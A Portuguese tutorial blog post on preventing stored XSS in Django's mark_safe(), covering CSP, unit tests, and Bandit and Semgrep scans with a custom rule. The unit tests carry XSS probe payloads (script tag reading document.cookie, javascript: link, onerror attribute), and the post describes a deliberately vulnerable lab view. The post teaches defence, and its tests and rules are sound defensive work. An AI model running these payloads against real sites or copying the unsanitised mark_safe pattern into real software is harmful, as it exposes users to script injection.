Os controles se organizam com clareza quando você tem o vocabulário. A sanitização por allowlist antes do mark_safe() é um controle preventivo: ela elimina a construção perigosa em vez de ficar vigiando por ela. Uma Content Security Policy é um controle compensatório — ela assume que a sanitização já falhou e restringe o que o navegador vai executar, e é exatamente por isso que "nós temos CSP" nunca fecha um achado de XSS. Ela reduz a severidade; o achado continua aberto até o sanitizador ser corrigido. E, diferentemente das três camadas do Post 1, esta classe traz um controle detectivo de verdade: a CSP em modo report-only, e as violações de Trusted Types, enviam um relatório toda vez que algo tenta executar o que não deveria. Esse relatório é o mais próximo de um sinal de detecção de intrusão que a camada de aplicação oferece de graça — e vale configurá-lo antes de precisar dele, porque é também assim que você encontra a injeção que passou despercebida.


Detectando Automaticamente

Quatro controles valem apenas o quanto você consegue provar que estão ativos — e perceber o dia em que alguém adiciona um | safe para fazer um template renderizar do jeito que queria. Esta seção é a casa durável dessa prova: o teste que você escreve contra o seu próprio pipeline e os analisadores estáticos que você aponta para o código.

Testando Sua Defesa

# blog/tests.py
from django.test import TestCase
from blog.templatetags.markdown_extras import markdown_filter

class XSSProtectionTests(TestCase):
    def test_tag_script_e_removida(self):
        """Tags <script> brutas no conteúdo do usuário não devem sobreviver como tag executável."""
        output = str(markdown_filter('<script>alert(document.cookie)</script>'))
        self.assertNotIn('<script', output.lower())

    def test_link_javascript_e_removido(self):
        """URI javascript: em link Markdown não deve chegar ao navegador.
        Este teste falha com bleach em qualquer configuração sem um callback
        customizado de validação de href — é uma lacuna fundamental da API, não um descuido de configuração."""
        output = str(markdown_filter('[clique aqui](javascript:alert(1))'))
        self.assertNotIn('javascript:', output)

    def test_atributo_onerror_e_removido(self):
        """Atributos de manipuladores de eventos em tags HTML brutas devem ser removidos."""
        output = str(markdown_filter('<img src=x onerror=alert(1)>'))
        self.assertNotIn('onerror', output)

    def test_markdown_seguro_renderiza_corretamente(self):
        """Markdown legítimo ainda deve produzir HTML correto após sanitização."""
        output = str(markdown_filter('**negrito** e `codigo`'))
        self.assertIn('<strong>negrito</strong>', output)
        self.assertIn('<code>codigo</code>', output)

Fazendo a Varredura

O SQL injection do Post 1 era uma classe que as ferramentas padrão pegam de forma limpa — o Bandit e o Semgrep sinalizaram a view vulnerável e ficaram quietos na segura. O XSS via mark_safe é onde esse resultado tão limpo desmorona — e ver exatamente como isso acontece é a lição.

O Bandit — o scanner que percorre a AST, do Post 1 — tem uma verificação mirada exatamente nesta classe: B703 / B308, uso de mark_safe. Aponte-o para as duas views do laboratório:

bandit -r labs/post_02_xss/

Ele dispara nas duas:

>> Issue: [B703:django_mark_safe] Potential XSS on mark_safe function.
   Location: labs/post_02_xss/views_vulnerable.py:32:60
32    f"<li><strong>{escape(c.author)}</strong>: {as_html(mark_safe(c.body))}</li>"

>> Issue: [B703:django_mark_safe] Potential XSS on mark_safe function.
   Location: labs/post_02_xss/views_secure.py:28:60
28    f"<li><strong>{escape(c.author)}</strong>: {as_html(mark_safe(nh3.clean(c.body)))}</li>"

O Bandit casa com a própria chamada mark_safe() e nunca inspeciona o argumento — B703/B308 são checagens de blacklist baseadas no nome da chamada — então mark_safe(c.body) (o bug) e mark_safe(nh3.clean(c.body)) (a correção) são idênticos para ele. O achado na view segura é um falso positivo contra um código que já está correto.

As regras da comunidade do Semgrep não reportam nada, em nenhuma das views — mas não pela razão que você imaginaria:

semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_02_xss/
# Ran 156 rules on 15 files: 0 findings.

Não é que o Semgrep não tenha uma regra para isso. Ele tem uma — avoid-mark-safe — mas ela é marcada como subcategory: audit, confidence: LOW, e os pacotes curados que um analista de fato roda (p/django e afins) não a incluem; nenhuma das 156 regras que rodaram mira mark_safe. E invocar essa regra diretamente não salva o resultado. Ela exclui apenas format_html(...) e literais de string, então dispara em mark_safe(c.body) e em mark_safe(nh3.clean(c.body)) — ela nunca ouviu falar do nh3, então sinaliza a correção sanitizada exatamente como o Bandit faz.

Então o resultado pronto-de-prateleira é ruim de duas formas ao mesmo tempo: os pacotes da comunidade não reportam nada (a cobertura de mark_safe deles está numa regra de auditoria que os pacotes pulam), e toda checagem de mark_safe dedicada que existe — o B703 do Bandit, o próprio avoid-mark-safe do Semgrep — é um casador de chamada tosco que sinaliza a correção sanitizada tão alto quanto o bug. Nenhuma delas produz um resultado vulnerável-dispara / segura-silenciosa em que se apoiar. Esse é o caso restrito em que escrever uma pequena regra Semgrep customizada se justifica em vez de ser trabalho desnecessário (na maior parte do tempo as regras da comunidade bastam): as ferramentas padrão não conseguem distinguir esse bug da sua correção, então escrevi uma que consegue.

A regra é deliberadamente direta — na prática, é o avoid-mark-safe ensinado a reconhecer um sanitizador: sinalizar mark_safe() em qualquer coisa que não seja um literal de string nem uma chamada a um sanitizador/escapador de allowlist (nh3.clean, escape, format_html):

# rules/xss.yaml  (resumida)
patterns:
  - pattern: mark_safe($X)
  - pattern-not: mark_safe("...")
  - pattern-not: mark_safe(nh3.clean(...))
  - pattern-not: mark_safe(escape(...))
  - pattern-not: mark_safe(format_html(...))

Isso basta para separar as duas views — ela dispara na vulnerável e fica silenciosa na segura, o resultado limpo que nenhuma ferramenta padrão conseguiu dar:

semgrep --config rules/xss.yaml labs/post_02_xss/views_vulnerable.py   # 1 achado, linha 32
semgrep --config rules/xss.yaml labs/post_02_xss/views_secure.py       # 0 achados

Ela é honesta sobre os próprios limites. Por ser sintática e não rastrear taint, não enxerga a sanitização feita uma linha antes através de uma variável — clean = nh3.clean(x); mark_safe(clean) é um falso positivo que ela aceita, documentado no fixture de teste da regra. (O modo taint pegaria isso, mas precisa de uma fonte que ele consiga rastrear até o sink, e um valor guardado no banco e lido de volta numa requisição posterior não é uma que o motor open-source do Semgrep resolva — por isso uma regra de padrão, e não taint, é a ferramenta certa para esta classe.) Um fixture de semgrep --test fixa o comportamento da regra, e a CI reexecuta tanto o fixture quanto a asserção nas duas views a cada commit.

As três execuções — Bandit, Semgrep da comunidade e a regra customizada — estão versionadas em scans/, para que você leia exatamente o que cada uma reportou sem instalar nada; o tests.py continua sendo a prova executável da vulnerabilidade em si.

Por que o laboratório cobre apenas uma das três variantes. Seu trabalho é provar um único reparo — sanitizar antes do mark_safe() — e o XSS armazenado, refletido e baseado em DOM compartilham esse reparo, então construir as três consertaria a mesma brecha três vezes. O armazenado ganha a vaga: é o de maior impacto (um comentário, cada visitante seguinte) e o mais limpo de provar sem um navegador — um POST, um GET na página, e você lê o resultado. O XSS refletido é o mesmo defeito de mark_safe-sem-sanitizar, só que entregue por um parâmetro da requisição em vez do banco de dados — mesmo bug, mesma correção, nada de novo para uma segunda view ensinar. O XSS baseado em DOM está fora de escopo por natureza: ele vive inteiramente no JavaScript do lado do cliente e nunca chega ao Django, então não há view do lado do servidor para tornar vulnerável ou para corrigir — sua única alavanca no lado do Django é o backstop de CSP visto antes.

E por que não há varredura dinâmica (DAST). O Post 1 pôde apontar o sqlmap para a aplicação no ar porque SQL injection é uma sonda de um parâmetro e uma requisição que uma ferramenta de linha de comando conduz de ponta a ponta. O XSS armazenado não é: prová-lo dinamicamente significa plantar um payload numa página e depois encontrá-lo aparecendo em outra — o trabalho de um scanner do tipo crawler/proxy como o OWASP ZAP, não de um único comando. Este laboratório também não tem formulário HTML, de propósito (você publica com curl), então um crawler automatizado não tem nada para descobrir para começar. Uma execução de DAST de verdade exigiria um formato de laboratório diferente — um formulário rastreável ou um endpoint refletido — e uma ferramenta mais pesada; aqui o trio estático (Bandit, Semgrep da comunidade, a regra customizada) mais o tests.py executável já provam tanto o bug quanto a sua correção, então o DAST acrescentaria maquinário sem acrescentar prova.


A lição principal que tirei deste post: XSS e SQL Injection compartilham a mesma causa raiz — dados não confiáveis tratados como código executável — só que visam interpretadores diferentes (o DOM vs. o banco de dados). O auto-escaping do Django cuida do caso comum, mas no momento em que você chama mark_safe() em qualquer coisa que tocou entrada do usuário, você é responsável pelo que chega ao navegador. A regra é: nunca marque conteúdo como seguro a menos que ele tenha passado por um sanitizador de allowlist que bloqueia tanto tags perigosas quanto esquemas de URI perigosos. O Post 3 mergulha mais fundo no próprio mecanismo de templates: Server-Side Template Injection (SSTI), o que acontece quando a entrada do usuário chega diretamente ao renderizador de templates do Django, e por que o {{7*7}} do Jinja2 não é o único risco.

Leitura Complementar

Próximo nesta série → Post 3: Server-Side Template Injection (SSTI): Quando os Templates do Django Viram Arma

← Voltar para todos os posts